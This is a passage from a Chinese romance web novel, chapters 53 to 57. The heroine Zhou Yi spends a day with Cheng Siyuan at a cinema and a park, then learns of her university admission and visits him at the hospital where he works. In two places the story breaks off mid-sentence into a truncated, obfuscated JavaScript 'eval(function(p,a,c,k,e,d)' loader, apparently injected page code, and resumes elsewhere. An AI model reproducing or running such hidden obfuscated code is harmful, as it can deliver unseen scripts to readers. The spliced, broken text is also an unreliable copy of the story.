淡淡的薄荷香气将周依拥裹在内,她一时分不清这是自己刚刚冰淇淋的味道,还是程司远身上的味道。迷离之际,只觉心安。 不知过了多久,影片内的争斗声被一片欢呼声所代替,最后好像是螃蟹打败了小章鱼,但又好像是小章鱼胜利了。她不知道。 剧场的灯亮了起来,周围人也开始陆续离开,周依感受到光的变化,慢慢从程司远怀里抬起头,将眼睛睁开一条缝,小心翼翼地打探了一下,确定真的结束了,这才彻底松了口气。 可这一口气还没送到底,却又被一个声音惊得提了起来。 “妈妈、妈妈,你看那个姐姐,她胆子好小,都吓得坐哥哥身上了。” 那小男孩说着又骄傲地看向他妈妈,继续道:“我就不怕,我刚刚都没、唔——唔——” 那小男孩还没说完,就被他妈妈一下捂住了嘴,厉声道:“别瞎说,快走,结束了咱们就不要呆在这了。” 说完,拉着小男孩就往外走 “我没瞎说。” 那小男孩急了,一下从他妈妈的手里挣脱出来,继续道:“我都看到了,那姐姐脸上还有泪呢,而且她刚刚叫的好大声,我也听到了。” 句句确凿,字字诛心。 周依猛地回过神,脸“唰”地一下红了个彻底,感觉全身都烧了起来。她立马手脚并用,连滚带爬地从程司远身上下来,用手狠狠摸了一把脸,低着头惊慌道:“那个我、我,你、你……” 我你了半天,也说不出个所以然来。 她窘迫极了,眼珠四处摆动个不停,不知道该看向哪里。 突然,那小男孩的妈妈也看了过来。霎时间,四目相对,两人都是一怔。 那男孩妈妈显得也是尴尬不已,讪笑着向周依点了点头,拽着小男孩就走,也不管那小男孩再怎么自证,她妈妈也只让他闭嘴,气得小男孩哇哇大哭。 周依紧咬着嘴唇站在原地,脸上一片火辣辣。她强装淡定的本事今晚好像发挥不出来了,甚至还有一种想立马原地消失,逃离窘境的想法。 “依依,你——” 程司远刚开口,可还没等他说完,就被周依强行打断道:“我、我没事,我去洗把脸。” 说完也不等他反应,转身撒腿就跑。 “诶——” 程司远想起身叫住,可他刚站了一半,动作却突然顿住,蓦地皱着眉又坐了下来,紧抿着嘴唇,低头不语。 周依也不管他想要说什么,闷着头就一路小跑,直到剧场的女厕,才放慢脚步停了下来。 她看着镜子里的自己,眼眶红肿,嘴唇也不知道什么时候被自己咬破了皮,通红的脸上还有泪痕,一副狼狈不堪的模样。 她的呼吸都在颤抖,不知道是害怕还是羞愤。 忽然,周依猛地打开水龙头,低头,反反复复清洗着自己的脸,似乎试图用这冰冷的水,来安抚住自己内心的不安与躁动。 周依,他是你哥,他把你当妹妹。 一遍又是一遍,她不断的在心里提醒、告诫自己。 影片早已结束,观众也都零零散散地走了出来,只有程司远还坐在原地。他的情况也好不到哪去,颈肩的湿润和怀中还未散去的余温足以让他情难自已。 他喉头攒动,闭了闭眼,将眸中的炽热没于无边星海。 54.称呼 不知过了多久,程司远再次睁眼时已满是清明。他轻叹一声,连忙起身快步走向剧场外寻找周依的身影。 可就在他路过剧场柜台时,却突然被工作人员叫住,那人指着屏幕说:“先生你好,我们剧场有随机抓拍功能,需要查看照片吗?如果喜欢可以免费打印哦,还有邮寄服务。” “不——” 程司远着急离开,刚想开口拒绝,突然眼睛一亮,改口道:“不好意思,麻烦帮我打印一下那张照片。” 说着伸手便指向大屏幕那张有自己和周依的照片。 工作人员朝他手指的方向看了过去,随后拿出一个本子,微笑道:“好的先生,请您留下您的电话和地址,这边会第一时间为您发货。” “谢谢。”程司远接过本子,拿起笔边写边说道:“请问照片有电子版的吗?” “有的。”工作人员说:“电子版扫这边二维码,等我们这边做好登记就会发送给您。” 程司远点头扫完二维码,又道:“麻烦问一下,这里洗手间在哪?” 工作人员指了指前面,说:“从这直走过去,拐个弯就是了。” “谢谢啊。” “不客气,您慢走。” 程司远走到洗手间门口左右等了会儿,半晌没有发现周依的身影,不免有些着急,不知道她是走了还是没出来,便拿出手机给她打了电话。 这时,周依刚洗完手还没来得及擦干,听手机响了,连忙甩了甩就赶快拿起,紧接着映入眼帘的就是屏幕上两个大字——木头。 她的心又是一跳,脸上好不容易消散的红晕忽然间又密密地爬了上来。她深吸一口气手指划了一下,温吞道:“喂,怎么了……” 声音细小,像是还没有从刚刚的羞窘当中逃脱出来。 电话那端的程司远似乎愣了一下,随后又传来低哑的嗓音:“你在哪?” 周依拿着手机走了出来,说:“我在洗手间,现在就——” “我看到你了。”程司远道。 周依一怔,抬眼就见电话里的人就站在自己面前。她的目光像是被烫了一下,猛地收回,偏侧着头对着手机轻轻“嗯”了声。 程司远挂了电话,快步走到她身边,笑着说:“你这是干什么,要去主刀吗?” “什么?” 周依被他说的没反应过来,又问:“什么主刀?” 程司远看着她两手手心向内抬着放在胸前,嘴角忍笑道:“你这动作还挺标准。” 这下周依算是明白了,她哥又在逗她。 刚刚的羞窘一扫而光,周依恼怒地瞪了他一眼,湿答答的手还没来得及放下去,忽然上面就多了张干净的手帕纸。 “手机先给我,那只手也擦擦吧。”程司远说。 于是,这刚要上来的火还没冒出苗头,就又被一杯温水给浇灭了。 周依有点儿吃瘪,她总觉得她在她哥这就没什么脑子,干什么都慢半拍。只是吃瘪归吃瘪,沾了水的手还是老老实实擦干净了。 “我们现在去哪?”她问。 程司远把擦试过的手机递给她,神神秘秘道:“一个好地方。” “???” 虽然周依一脸茫然,但她还是跟他去了那口中的“好地方。” 阳光照射,空旷的草地上零星分布着野餐的人群,小狗小猫在草丛里翻滚打泼,孩子们也在追逐嬉戏。泥土混着草香,让人说不出的身舒畅。 程司远垂眸看着周依,问:“喜欢吗?” “喜欢。” 周依说完,忽然眼前一亮,指着远处几个人惊喜道:“哇,那还有放风筝的。” 程司远似乎低声笑了下,说:“要去试试吗?” 周依扬眉,转头看向他道:“怎么试?” “再叫我一声哥。”程司远说。 孩子们在草坪似乎玩得很开心,他们的嬉闹声一阵赛过一阵,周依像是没听清。 “什么?”她问。 程司远停下脚步,俯下身平视着她,十分有耐心地又说了一遍:“我说,那你再叫我一声哥。” 他吐字清晰,说话很慢,容不得周依再装聋作哑。她向后退了一步,偏侧过头耳根有点发热,低声道:“换一个,换一个要求。” 程司远歪着头看着她,说:“好啊,那两声。” “???” 脑子有病啊! 周依愕然,转头瞥了他一眼,随即又转了回去,倔强道:“无聊!” 说完抬腿就走。 “诶,等等。” 程司远一把拉住她,一脸无奈道:“别走,不逗你了,我去带你买。” 周依狐疑地看了他一眼,问:“真的?” “真的。” “你保证?” “我保证。” 程松远放了手,站直身体,下巴向前点了点说:“应该就在前面,我们去找找?” 周依见他不像开玩笑,犹豫片刻还是应声道:“那好吧,那我陪你去找找。” 她一幅“大人不记小人过”的模样,看的程司远脸上更是无奈,嘴角含笑道:“好,就麻烦我们依依陪我一起找找了。” 周依很是傲娇,扬着下巴不客气道:“不麻烦。” 里子可以丢,但面子绝对不能。不管怎么样,在她心里觉得她这会儿已经战胜她哥了。 但显然程司远也是第一次来,并不知道哪里有卖风筝的,他们一路上遇到了好几个售卖点,里面东西都很全,唯独就是没有风筝。 就在周依快要放弃时,蓦地程司远眼睛一亮,随后快走几步,率先到了一个不起眼的售卖点,店门上正好就挂着只风筝。 “老板你好,咱这儿风筝怎么买啊?”程司远问。 那老板从凳子上站起来,拿着扇子扇了几下,说:“五十,就门上那最后一个了,便宜卖给你。” 程司远伸手把风筝取了下来,垂眸问周依:“这个可以吗,不喜欢的话我们就再去前面看看。” 周依抬头愣了下,这个角度正好跟看到程司远额角处藏在头发下面的汗珠,她心里微动,轻瞥过眼道:“可以,这个挺好的。” 程司远嘴角笑了笑,转头对老板说:“那我们就要这个风筝,麻烦老板再拿一卷线。” 周依见他付了钱,伸手从自己包里掏出一张手帕纸,递了过去道:“擦擦吧,你流汗了。” 程司远顿了一下,伸手接过擦了擦额头,说:“谢谢啊。” 骄阳慢慢下落,空气中的炙热淡去不少,偶有清风徐来,树叶沙沙作响,绿荫浮动。 程司远将线拉出一截,一端系在风筝上,一段连 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风儿在空中玩耍,从枝头荡下,顺着风筝线一路上游,将他们的风筝送往高空。 “依依放线啊。” “飞起来了,放线。” 程司远的声音从身后传来,周依停下脚步转过身看着高处的风筝。她高兴极了,线给的也是还不吝啬。 但物极必反,这一不小心好像又放得有点多,那紧绷的线突然开始变得松弛,周依急忙收紧,下意识连退数步。 见风筝慢慢在空中挂稳,她才松了口气对程司远说:“它真的飞起来了,我成功了。” 程司远从远处走来,嘴角含着笑说:“嗯,你很厉害。” 落日余晖酒在草地上,整个大地都被染上了一层温暖的色彩。晚霞映照出多彩的光线,丝丝缕缕、柔柔的、薄薄的,斜照在周依身上,她的脸颊被映得泛着薄红,嘴巴轻启低声道:“哥,谢谢你。” 程司远的动作顿了一下,但很快又恢复平常,眼眸深处含满了柔光,抬头看向那远处的风筝,同样低声说了句:“是我的荣幸。” 声音很小,但周依听到了。 她的心脏跳很快,胀胀的,像是被这一句话塞的满满当当。她不敢转头看向程司远,怕那藏匿在心底的情绪外溢出去。只是细细咀嚼着,像极了偷吃糖的猫。 程司远站在那,感觉自己口袋里的手机突然震了一下,他伸手拿出来解了锁,看到消息内容却是没忍住喉咙的轻颤,笑出了声。 “怎么了?”周依好奇地问了一句。 程司远笑眯着眼,关了手机,说:“没事,段梓坤说马上来找我们。” 周依一头雾水,不明白这句话到底有什么可笑的,但并没多问,只是“奥”一声,继续放风筝了。 然而她不知道是,程司远是收到哪是什么段梓坤的信息,分明就是某个工作人员的,上面说: 程先生您好,这是您的照片,请注意查收。 随即还附了一张照片—— 周依坐在程司远腿上,双手搂着他的脖子,头转向屏幕,嘴巴惊恐地大张,一副喊救命的样子。 而程司远则是抱着她,低头像是在安慰说没事,别怕,我在。 55.抽风 高考志愿填报结束得很快,李佩佩填了隔壁省的嘉水大学,说想学食品安全专业,以后出来了就去食品安全局。大有一种要给家里当靠山的感觉,只不过她跟周依说的时候,脸却是红了一大片。 一开始周依还纳闷为什么,之后回到家她才突然想起来,好像段梓坤的工作就是找在了嘉水。 至于周依的志愿。 最后几天,不知道程毅又对张舒欣说了什么,两人竟都一致认为让她去嘉水师范,说去那才是最好的选择。 尽管他们把前前后后的利弊都盘算了个清楚,但没办法,耐不住某人铁了心得不想走。 于是,兜兜转转一大圈,周依还是回到了家门口—— 填了吴都大学,金融专业。 她其实想的很简单,她想过她向往的人生,想读她喜欢的专业,想陪着她喜欢的人,哪怕这份喜欢永远都送不到对岸,她依旧会默默的存放在心里。永远光鲜透亮。 七月一旦入了伏,这日头就一天赛过一天的热。周依觉得程司远就和这入了伏的天一样,只不过他是越来越忙,有的时候两人早上发了会儿信息,但等再说话就又到晚上了。 她就像个看不懂句子的傻子,把那聊天记录来来回回看个没完。 之前她还不理解为什么有人能做到不删聊天记录,冗长的一大堆看着都烦,但现在她好像懂了,那冗长也只觉得有点短。 重复的日子一天天过,周依都记不清今天到底是几号了。这不,打扫完卫生又一个人躺在沙发上玩手机呢。 她不知道又是在玩那个乙女游戏玩,眼瞅着嘴都要咧到耳后根了,蓦地,手机突然嗡嗡震了两下,消息通知栏划过李佩佩的信息。 周依手指顿了下,没由来地觉得心里一紧,迅速从游戏切换出去,点进了李佩佩的聊天框。 佩琪:快查录取通知,出来了出来了!! 佩琪:我被录取了,啊啊啊啊啊啊!!! 周依身体一抖,终于知道为什么自己会有这异样的感觉。今天下录取通知,她居然给忘了,立马在聊天框里发送: 月曜:太好了!!恭喜恭喜! 月曜:吸吸欧气,我这就去查查我的。 周依发完,立马拿过一旁闲置的电脑,动作迅速,行如流水。但在网页输入最后一位身份证号时,又突然开始紧张起来。 她紧咬着嘴唇,使劲捏了捏自己轻微颤抖的手指,深吸一口气,猛地按下最后一个数字,点了回车,然后迅速抓着一旁的抱枕挡在屏幕前。她的心仿佛要从嗓子眼里跳出来,每一下都格外的重。 半晌,周依吞了口口水,将挡着的抱枕一开一点……再一开点……移开一半…… 直到她看到“恭喜”两字时,激动地一扔掉手里的抱枕,光着脚跳跃的欢呼着:“考上了、我也考上了,太好了太好了。” 同时,还不忘拿起手机告诉李佩佩,点着语音键道:“我也被录取了,啊啊啊啊!太好了佩佩!” 周依激动不能自已,手指都还颤抖,又同样的给张舒欣和程毅也发了喜讯,只是这两人可能都在忙,并没有及时回复。但她没放在心上,而是转手就点开了程司远的聊天框。 她本想着在上面输入:哥,我考上了。 可不知道是因为手抖,还是输入法抽风,愣是变成了:哥,我爱上了。 这发送键都按了一半了,她才突然反映过来,嘴里“我靠!”一声。 发了出去。 周依看着自己绿泡泡里的这句话,大脑一片空白,瞬间整个人都麻了,手机也被掉在地上,等她反应过来时已将过了三秒。完了。 周依急得赶紧蹲下捡手机,惊慌失措手上又是一滑,“啪嗒”再次掉在地上。她心脏紧张得砰砰直跳,每一次供血都能明确地感知。 赶紧撤回、赶紧撤回。 趁他没看见赶紧! 她心里有无数个声音在叫喊,拿起手机见程司远还没有回复,不由松了口气,急忙长按信息,撤回了。还好他忙。 做完这一系列,周依已经瘫在地上了。冷静下来之后,才发现自己身上已然冒了一身冷汗,手上也还在微微颤抖。她后仰着靠在沙发脚,觉得自己差点就该和世界说拜拜了。 周依在心里暗暗发誓,如果这种事情还要再发生一次,那她一定选择原地去世。 不知缓了多久,周依才再次重新解锁手机。可这一看,她真的差点say goodbye。 木头:你撤回了什么? “我靠!!” 周依爆粗,心道,不带这么玩的吧!! 那不成这就是传说中的乐极生悲??可他不是在忙嘛! 周依坐在地上缩了缩身体,咽了口唾沫,故作镇定的发了句。 月曜:没什么,打错字了。 月曜:我说我考上了,考上吴都大学了。 周依一颗心依旧是紧绷着,眼睛盯着屏幕一动不动,心里不停地打着鼓。顿时,又住进去两个小人。 一人说:“他真的没看到?万一已经看到了呢?” 另一个人说:“不会不会,肯定没看到,要是看到就不会问。” “可他喜欢恶作剧啊,万一故意的呢?” “他哪有这么恶劣,就算看到了那也看不出什么,顶多算是没说完的半句话。” “可他不会多想吗,你不怕被发现?” “不会,绝对不会,他把她当妹妹!” 周依脑子一团浆糊,心里也是一片乱麻,她伸手就把叽里呱啦讲个没完的小人按死。但—— 周依朝手机上又看了一眼,聊天依旧停留在她的那句,程司远好像又去忙了。 一颗心被提起放下、提起放下,不知道多少个来回,周依都觉得自己马上都心焦力瘁了。手里的手机就像个长满刺的刺猬,碰一下她都觉得扎。 如此这般,一直到了五点。 最后,坐立难安的周依终于决定去医院找程司远。她就不信了,当着面她还解释不清,他还能不信? 心里刚这么想,转眼周依就坐上了出租车。 “叔叔,麻烦去第一附属医院。”她说。 司机开动了车,说:“姑娘是去急诊还是住院部啊?” 周依愣了一下,似乎没考虑过这个问题,说:“我去找人,应该是去门诊部吧。” “门诊?”那司机从后视镜里看着她道:“可现在医院门诊都快下班了啊,到时候怕人都走了。” 周依拿起手机看了一眼,依旧没有程司远的回信息,笃定道:“没关系,就去门诊部吧。” 司机看拗不过便“啧”了声,开着车一路弯曲向前走了。 太阳渐渐西斜,到了下班高峰期路上的车越来越多,来来往往车水马龙,不管是机动车道还是非机动车道都是簇拥着,只要绿灯一亮,就鱼贯而入。 尽管交警站在十字中间指挥着,但车鸣声喇叭声还是源源不断地传来。红灯一亮,就更要了命。 司机看着地图上变成猪肝红的道路说:“这段路太堵了,怕是要再等一会儿了,还不你先给对方打个电话,让他等等。” 周依看了眼时间,五点四十。 “那我们大概会堵多久啊?”她问。 司机沉默几秒,皱着眉一脸苦恼道:“不好说,这三百来米怕是要堵个十几分钟。” “十几分钟!” 周依惊呼一声,那程司远不就下班了嘛,她到了人都走干净了。 “这也太久了。”她说。 “没办法。”司机抬着下巴指着前面说:“你们看看,那还有几个准备插队的。” 周依皱了皱眉,看了眼地图离医院也就三百米,心想自己爬过去应该都用不了十几分钟。 “叔叔,要不你靠边停一下吧。”她说:“我在这下,走过去。” 司机顿了顿,随后又打着方向盘说:“也行,那你小心后面的车啊。” 周依应声,便开门下了车。 她虽然是路痴,但好在会看地图,下了车拿着手机一通左转右转,终于和某德地图的箭头保持一直。上面显示:步行约两百米,预计四分钟后到达。 你看看,快多了。 医院在老城区,道路并不宽敞,甚至还有不少树因为太粗壮把人行道第占了一半。周依走在路上,跟身边的电动车群擦身而过,其中不少外卖小哥为了赶时间,甚至直接就把车骑到了人行道上,把她吓了一跳。 周依沿着店铺门面又往里面走了走,觉得这样总不能还有车跟她抢路。 事实也证明,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没有没有,小姑娘你长得很漂亮,是我年纪大了,眼神不好,看谁都觉得眼熟。”那老板笑了笑,说:“之前我也不知道能从这过,后来跟别人走过一次才知道。” 周依摆了摆手觉得尴尬,突然想到自己刚刚在车上那地图还距离目的地三百米,而一下车改步行马上就变两百米了。合着这是无中生有,秘密通道啊。 缺德地图,有点东西。 “奥奥,谢谢叔叔啊。”她笑着说:“我还以为我走错了。” “哎,哪里,都是举手之劳。”老板说:“我刚来到时候也不熟悉。” 周依疑了一下,她还以为老板是这儿的老熟人,刚想开口再说点什么,忽然抬头就见一个招牌,上面写着:新店开业,全场买二送一。 这又是眼熟,又是新店的,周依再厚脸皮也会觉得不好意思,更何况她脸皮本身就薄。 于是,她喉咙里“呃”了声,尴尬道:“那叔叔我买两个包子吧,您这有什么馅的啊。” 老板都准备转身走了,这话落耳,顿时那本污浊眼睛都都跟着惊喜地亮了下,面脸笑容,显得皱纹更深了。 他把一笼包子打开,分别介绍道:“好好好,这有胡萝卜的、鸡肉的、这是猪肉的、这个是牛肉。” “还有。”他又打开了另一侧的笼子道:“这边是甜的,有豆沙的,红糖的还有奶黄的,你看看要什么?” 听到“奶黄”两个字,周依一下就来了精神,心道真是意外之喜啊。 “我要两个奶黄的。”她说。 “哎好,奶黄包是我家招聘。”老板说着就往袋子里装了四个奶黄包说:“新店开业,多送你一个,下次还来啊。” 瞬间,周依眼睛睁得溜圆,不知道是这老板会做生意,还是自己今天走了狗屎运,这种好事都能被她碰上。难不成今天就是传说中的天选之日? 她连忙接过老板递来的袋子,连声道:“谢谢叔叔、谢谢叔叔,我下次一定来。” 不管怎样,还是她小时候那句话,卖奶黄包的都是好人! 哦、对了,这店名起得也好! 周依付完钱顺势看了眼时间,五点四十八。她心里一惊,急忙跟老板道别:“叔叔,我赶时间就先走了,生意兴隆啊。” 那老板笑得满脸皱纹,说:“谢谢啊,路上小心。” 周依跑了两步,突然顿住,转头又对老板笑道:“叔叔,我今天被录取了,吴都大学。” 56.等待 周依打开缺德地图,跟着指示穿过小区,来到了附属医院的门诊部。 时间已经是五点五十二了,医院的灯关了不少,陆陆续续的人也都在往外走,只有周依是逆着人流的。她走到大厅,眼睛在指示屏幕上扫了半天,终于找到肿瘤科门诊室的位置—— 二楼西侧。 “……” 周依一阵无语,上下左右她分得清,可这东西南北……属实有点难为人。 她抬手看了眼手机,确定程司远没有给她发信息,便打定主意左右两边都看一遍。反正没下班,她还来得及。 只是在二楼分支处,周依蓦地顿住,随后就开始了“小公鸡点到谁我就选谁”的游戏—— 右边。 那行,那就先去右边吧。 周依决定好便快马加鞭,一路扫过去忽然眼前一亮,“肿瘤科”三字个就赫然出现在眼前。 你看,说什么来自,果然是天选之日。 她心里感叹一声,抬脚就往里面走,见门口的护士正准备下班,连忙走上前开口问道:“抱歉,麻烦问一下,程医生现在在里面吗?” 护士站起身,收拾着电脑前的病单道:“程医生今天下午不看诊,明天早上再来吧。” “不是,我不是来看诊的,我——” “依依?” 周依话还没有说完,就被人应声打断了。她转头看过去,就见童遥迈着步子向她走来,胳膊下面还夹着一个蓝色文件夹。 “童、童姐姐?”她说。 旁边的护士也跟着招呼道:“童医生。” 童遥朝护士点了点头,笑了一下说:“也没什么事了,你们先下班吧。” “对了,依依你怎么来了?”她走到周依身边说:“来找司远的?” 周依听到这两个字明显顿了一下,说:“嗯,我找我哥有点事。” 她其实不太喜欢这么称呼程司远,但不知道为什么,在童遥面前,她就是想扯出点她跟程司远的关系。 童遥略微挑眉,嘴角含笑道:“他下午有台手术,现在应该还没出来,要不我带你去找他?” 周依犹豫,点了点头。怪不得呢,下午一句话没说完就消失了。 医院的灯关了七七八八,周围也变得空阔起来,周依跟在童遥身后漫步走着,不禁放轻了脚步,慢慢踱到她身边,小声问道:“我哥……他今天的手术难吗,会不会很危险?” “还好,不会很危险。”童遥看着她笑了笑问:“你来接他下班的?” 周依脚下一顿,鞋底与地面发出“呲”的一声,慌张和窘迫瞬间在这空荡的医院里放大了无数倍。她整耳根倏地发烫,别过脸说:“不、不是,我来找他说事情,不是接他下班……” 说到最后声音都变小了。 童遥轻笑一声,不知道是信还是疑,开口道:“奥,那你可能要等一会儿他,这手术时间有点长。” 周依抿着唇嗯了一声,却是没有说话。 童遥斜过眼偷偷看了她一下,笑意十足道:“依依,你有喜欢的人吗?” “呲!”又是一下。 周依顿住脚步,恨不得把脚上的鞋给扔了。 不是,您在这打碟呢?? 她涨红着脸低下头,迅速道:“没有。” 但脚下却是把脚步放得更轻了。 童遥若有所思地长“奥”了声,玩笑道:“那我跟你说个秘——” “童姐姐你饿吗?” 周依一下打断童遥,伸手就从袋子里拿出一个被纸包好的奶黄包递给她,说:“童姐姐你尝尝,这是我买的奶黄包,应该挺好吃的。” 她是真不想在医院当DJ。 话题跨度太大,童遥一时间没反应过来,竟愣了几秒才伸手结果奶黄包,说:“奥,谢谢啊,那我尝尝。” 奶黄包是烫的,里面的馅流动地很快,一口下去奶香就爆了满口。 “嗯?不错诶。”童遥惊喜道:“这个真好吃,在哪买的?” 说完,吹了吹,又咬了一口。 周依见话风转变,心里一喜道:“就是医院对面的那个小区后面,有条小巷子……” 童遥边听,边点头,时不时还会跟着笑两声说: “在那啊。” “那个地方是不好找。” “对,前两天还没有。” 话题终于不在危险,周依也没有真的在医院当DJ,两人就沿着那条走廊,一直聊到了分岔口。 童遥吃完了手里的最后一口奶黄包,向前面指了指道:“你往前走,走到头,然后左拐就能看见手术室后门了。” “他应该也差不多结束了,我就不陪你了。”她拿起腋下夹着文件夹晃了晃,说:“还得回办公室交差呢。” “好,我知道了,谢谢童姐姐。” 周依说完就按着童遥指得向前走了,但谁知刚走到一半,她蓦地就听见一阵吵吵嚷嚷的声音,像是两个人男人在吵架,嗓音一老一少。 “我跟你说过了,钱都用来给我妈看病了。”这是年轻的那个。 “不可能,你绝对还有钱,你没有你妈还能没有嘛?让她拿出来给我。”这是年老的。 “你疯了吧,那是我妈救命的钱。” “放屁!她都得癌症了,她还能活几年?那我我的救命钱!我的!” “闭嘴、赵文山你给我滚!滚!” “你他妈,怎么跟你老子说话的?我告诉你赵乐仪,我死了你们一个个都别想好过。” “滚!你滚!” 赵乐仪边骂,边推搡着那个听起来像是他爸爸的男人走出了手术走廊,和周依擦身而过。 赵文山满脸愤怒,转头还想再骂些什么,但抬眼见到周依突然顿了一下,或许是觉得家丑不可外扬,又或许是别的什么。最后,也只咬着后槽牙“哼”了一声,离开了。 周依与他对视,也是被吓得后退一步。 “真是抱歉啊,刚刚吓到了吧。”赵乐仪一脸疲惫道。 周依连忙摇手道:“没关系没关系,是我不小心听了你们的对话,对不起啊。” 赵乐仪苦笑一声道:“唉,这也没什么,家门不幸罢了。” “你……还好吧?”周依说:“要不你过去坐一会儿吧,你脸色很差。” 赵乐仪有一瞬的怔愣,这才意识到自己这几天黑白颠倒,已经不知道多久没睡过整觉了。他一边忙着照顾吴妍病情,一边还要防着赵文山要钱,这就算是铁打的人也熬不住啊。 他叹了口气,对周依点了点头,走到一边俯身坐下。 周依看到有些于心不忍,她也走过去坐在椅子上,安慰道:“你别担心,会没事的,手术一定很顺利。” “谢谢你啊,小妹妹。”赵乐仪轻叹一声道:“这都是命。” “不是,人定胜天。”周依说:“里面的医生很厉害,你要相信他们。” 不知道赵乐仪是不是被她这笃定的模样给都开心了,嘴角勾出一丝笑,低头“嗯“了声。 一时间,两人都没有再说话,悠长的走廊里鸦雀无声,“手术中”的灯还在持续连着,依旧没有要熄灭的迹象。 医院的椅子很滑,又极容易发出声音,周依坐的很小心,直到腰都酸了才忍不住轻轻地后挪了一下。 “吱哇” 长廊里的寂静还是被这椅子的声响给打破,周依心里一紧,下意识抿紧唇,脑子里很疯狂想着自己得说点什么打破这尴尬的僵局。只不过她还没想到,身边的人就开了口—— “我妈得了肺癌,好像还有其他的什么病,但我没有告诉她,我们都瞒着她。因为她胆子小,一听到什么癌的,瘤的就害怕的不得了,总担心自己活不长了。” 赵乐仪说得很慢就像是在讲故事,周依也没有打断他,就坐在一旁静静地听他说。 “我之前就问她,干嘛非要担心自己活不久,人只要出生那等着他的就是死亡,这世上哪有不死的。她说她知道,但她就是想看我结婚生子,最好还能再帮我带带孩子,她一生就算是完成任务了,也知足了。” “这话我听了就生气,我就问她这是谁给你布置的任务,完成还能多活几年不成?我妈就指着我的鼻子骂,你都不知道那架势可吓人了。” 他说着忽然笑了一下,似乎看见了吴妍那骂人的样子,但很快嘴角又耷拉了下来,眼睛里闪过一抹厉色道:“要是这架势放正事上也行啊,嫁了个骗钱的赌鬼还一心觉得那人能改,这么多年了还看不清,自己还落到一生病。” 周依的心脏倏地缩了一下,小时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵乐仪猛地从椅子上站起,快步迎上从里面出来的护士,焦急道:“护士、怎么样了,我妈的手术怎么样了?” 护士摘下口罩,说:“手术很成功,病人还在麻醉,一会儿就能清醒。” 赵乐仪激动极了,手上的奶黄包都被捏的溢出了馅,转头道:“太好了、太好了,小妹——” 他还没说完就倏地顿住,这才发现,刚刚还坐在椅子上的周依,不知道什么时候就已经走了。 周依一路狂奔,跑到长廊尽头又拐向左边。远处的大门还未被打开,只是透过玻璃能看到手术室里走出一个人,那人还带着口罩,步伐有些疲惫。 她又接着跑了几步,但里面的人好像早就看清了来人的面容,他摘下口罩也快步跑来。 门被他从里面推开,周依弯着腰,气喘吁吁地看着他,说:“哥,辛苦了,欢迎回来。” 程司远的心猛地颤了一下,下意识上前一步想要一把抱住面前的人。可他的手抬了抬,终究还是停在了半空,随后落下,揉了揉周依的头发,眸底的柔光快用从眼眶中溢出。 “你怎么来了,等很久了吗?”他说。 周依脸颊上浮了一层红雾,她站直身体将手里的奶黄包递给程司远道:“快尝尝,还没凉,可好吃了。” 程司远一愣,随即偏侧过头笑了一声,伸手接过来,张嘴咬了一口。 此时的奶黄包温度刚刚好,里面的馅料在缓慢的流淌,鼻息间是富裕的奶香,口腔里是醉人的甜蜜,胸腔里更是布满了那抑制不住的爱意。 “嗯,确实好吃。”他把奶黄包抬起来一点,拿到周依面前道:“小孩儿,干包。” 周依怔了下,随即也拿起自己手上的奶黄包和,程司远的碰了下道:“干包!” 两人走在手术通道上,寂静而悠长。周依脚步很轻,呼吸也放得很慢,但胸腔里乱撞的心脏,依旧是震耳欲聋。 她试图用自己的声音盖过这让她难堪的声音,抬头对程司远说:“哥,我考上了,是吴都大学,第一志愿。” 程司远垂眸看着她,嘴角含笑道:“恭喜你,小孩儿也要变成大学生了。” 周依瘪了瘪嘴,一脸不满道:“哥你能别叫我小孩儿了嘛,再说了,你比我也大不了多少……” 声音越来越小,说到最后甚至像是在低喃。 程司远略微挑眉,故意拉长声音道:“嗯,你说的有道理,但——” 他突然顿了一下,又道:“你先告诉我你撤回了什么,我再考虑要不要答应你。” 话里满是笑意,戏谑十足。 57.秘密 周依猛地刹住脚步,但也许是有经验了,这次她并没有在地板上打碟,只是慌张了一瞬,随即便恢复平常,故作镇定道:“还能有什么,就是手滑打错字啊,你没看手机吧,上面我都跟你解释过一遍了,不信你拿出来看看。” “不用,我看到了。”程司远嘴角勾了勾道:“不信你也拿出来看看,有我回的信息。” 周依手伸了一半又忽然顿住。一来,如果现在真的拿出来看了,倒显得她有多不信任他一样;这二来,就是万一拿出来手机不小心被他看到,那备注的事不就完了? 她向来不喜欢顶风作案。 于是,周依便将手机放了回去,大义凛然道:“我也不用,我信你。” 但—— “等等,你都看过了干嘛还问我?”她问。 程司远喉咙轻颤,肩膀也像是在微微晃动,竟是笑而不语。 “程司远!你居然敢诈我??” 周依瞬间来了脾气,真是七大姑八大姨都不能忍的程度,说着就要给这胆大包天之人来一拳。 可她的手刚挥了一半,就听见一个声音忽然在耳边响起:“程医生你来啦,这有份报告还需要你确认一下。 周依见护士拿着文件走了过来急忙收手,藏在身后,讪笑两声站在一边。 程司远拿过文件夹翻了翻,回应道:“嗯好,麻烦了。” 护士脸颊上染了些许薄红,摆摆手道:“哪里哪里,这是我的工作,不麻烦不麻烦。” 她说着眼神又往程司远身边瞟了瞟,问:“这位是……” 周依见问到自己,也不吝啬自我介绍道:“姐姐好,我叫周依,是他——” 她顿了一下,又道:“妹妹。” 护士瞬间恍然大悟道:“奥,你来接哥哥下班啊,程医生可真幸福。” 话音落耳,周依和程司远身体均是一僵。 周依耳根红了一片,上前一步刚想解释,就听程司远的声音先响了起来:“嗯,是挺幸福的。” 这下,周依的耳朵更红了,眼看连着脖子都往外散发着热气。她抿唇站在一边,不说话了。心道,爱咋咋滴吧。 护士看着周依笑了一下,刚想转身离开,忽然又像想到什么,顿住脚向程司远问道:“对了,程医生你家猫最近怎么样,还好嘛?” 程司远拿着文件夹的手明显顿了一下,随即轻咳一声,不知道在掩饰什么,只含糊道:“它……挺好啊,最近挺听话的。” 说着,眼睛就不由自主地瞥了一眼身边的周依,见她一脸疑惑,又嘴角不免忍笑。 “奥,那就好。”护士说:“程医生辛苦了,快下班吧,别让妹妹等急了。” “我没有。” 周依忽然开口,朝着程司远偷瞥了一眼,又放低声音说:“我没有,我不急,没关系的。” 